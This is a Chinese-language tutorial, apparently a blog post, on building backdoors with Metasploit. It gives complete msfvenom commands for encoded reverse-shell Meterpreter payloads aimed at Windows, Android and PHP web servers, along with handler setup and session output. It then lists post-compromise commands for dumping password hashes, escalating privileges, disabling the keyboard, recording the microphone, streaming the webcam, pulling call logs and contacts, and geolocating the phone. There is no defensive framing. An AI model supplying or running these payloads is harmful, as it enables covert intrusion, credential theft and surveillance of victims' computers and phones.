通过Metasploit生成各种后门


生成windows后门

1.首先生成后门

[root@localhost ~]# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.1.1 lport=6666 -f exe > ./lyshark.exe

2.进入Metasploit,执行以下操作


msf > use exploit/multi/handler
msf exploit(multi/handler) > 

msf exploit(multi/handler) > set payload windows/meterpreter/
reverse_tcp payload => windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > set lhost 192.168.1.25
lhost => 192.168.1.25
msf exploit(multi/handler) > set lport 6666
lport => 6666

msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.1.25:6666 
[*] Sending stage (179779 bytes) to 192.168.1.10
[*] Meterpreter session 1 opened (192.168.1.25:6666 -> 192.168.1.10:54264) at 2018-06-02 02:24:17 -0400

3.将我们的(lyshark.exe)拷贝到目标主机并运行

4.攻陷后常用查询命令

ps         #查看进程
migrate      #注入进程
run vnc      #查看远程桌面

cat        #查看文件
edit        #编辑文件
upload      #上传文件
download      #下载文件
rm        #删除文件
mkdir      #创建文件夹
rmdir      #删除文件夹

sessions -l  #查看会话
backgroud    #退出当前会话


enumdesktops          #在线用户数
uictl disable keyboard   #让键盘失效
uictl enable keyboard     #恢复键盘
record_mic -d 10       #音频录制
webcam_stream        #开启摄像头
screenshot          #桌面抓图
sysinfo          #系统信息查询
getsystem          #获取最高权限
hashdump          #密码hash

 

生成Android后门

1.首先生成后门

[root@localhost ~]# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=6666 R > ./lyshark.apk

2.进入Metasploit,执行以下操作

msf > use exploit/multi/handler 
msf exploit(multi/handler) > 

msf exploit(multi/handler) > set payload android/meterpreter/reverse_tcp 
payload => android/meterpreter/reverse_tcp

msf exploit(multi/handler) > set lhost 192.168.1.1
lhost => 192.168.1.1
msf exploit(multi/handler) > set lport 6666
lport => 6666
msf exploit(multi/handler) > exploit 

[-] Handler failed to bind to 192.168.1.1:6666:-  -
[*] Started reverse TCP handler on 0.0.0.0:6666 

3.将我们的(lyshark.apk)拷贝到目标主机并运行

4.此时主机已经沦陷,查看一下系统吧

常用命令:
search                     #搜索 search -f *.jpg
download
webcam_stream -i 1/2       #打开前置或后置摄像头
check_root                 #检测root
dump_calllog               #下载电话记录
dump_contacts              #下载信息记录
geolocate                  #定位,需要下载谷歌地图

生成php后门

1.首先生成后门

[root@localhost ~]# msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.1.1 lport=6666 -f raw > ./lyshark.php

2.进入Metasploit,执行以下操作

msf > use exploit/multi/handler 
msf exploit(multi/handler) > 

msf exploit(multi/handler) > set payload php/meterpreter_reverse_tcp 
payload => php/meterpreter_reverse_tcp

msf exploit(multi/handler) > set lhost 192.168.1.1
lhost => 192.168.1.1
msf exploit(multi/handler) > set lport 6666
lport => 6666
msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
msf exploit(multi/handler) > 
[-] Handler failed to bind to 192.168.1.1:6666:-  -
[*] Started reverse TCP handler on 0.0.0.0:6666 

3.将我们的(lyshark.php)拷贝到目标网页根路径

生成shellcode

1.生成shell    <-e 使用编码 - i 编码次数>

[root@localhost ~]# msfvenom -p windows/meterpreter/reverse_tcp LPORT=6666 LHOST=192.168.1.1 -e x86/shikata_ga_nai -i 11 -f py > lyshark.py

相关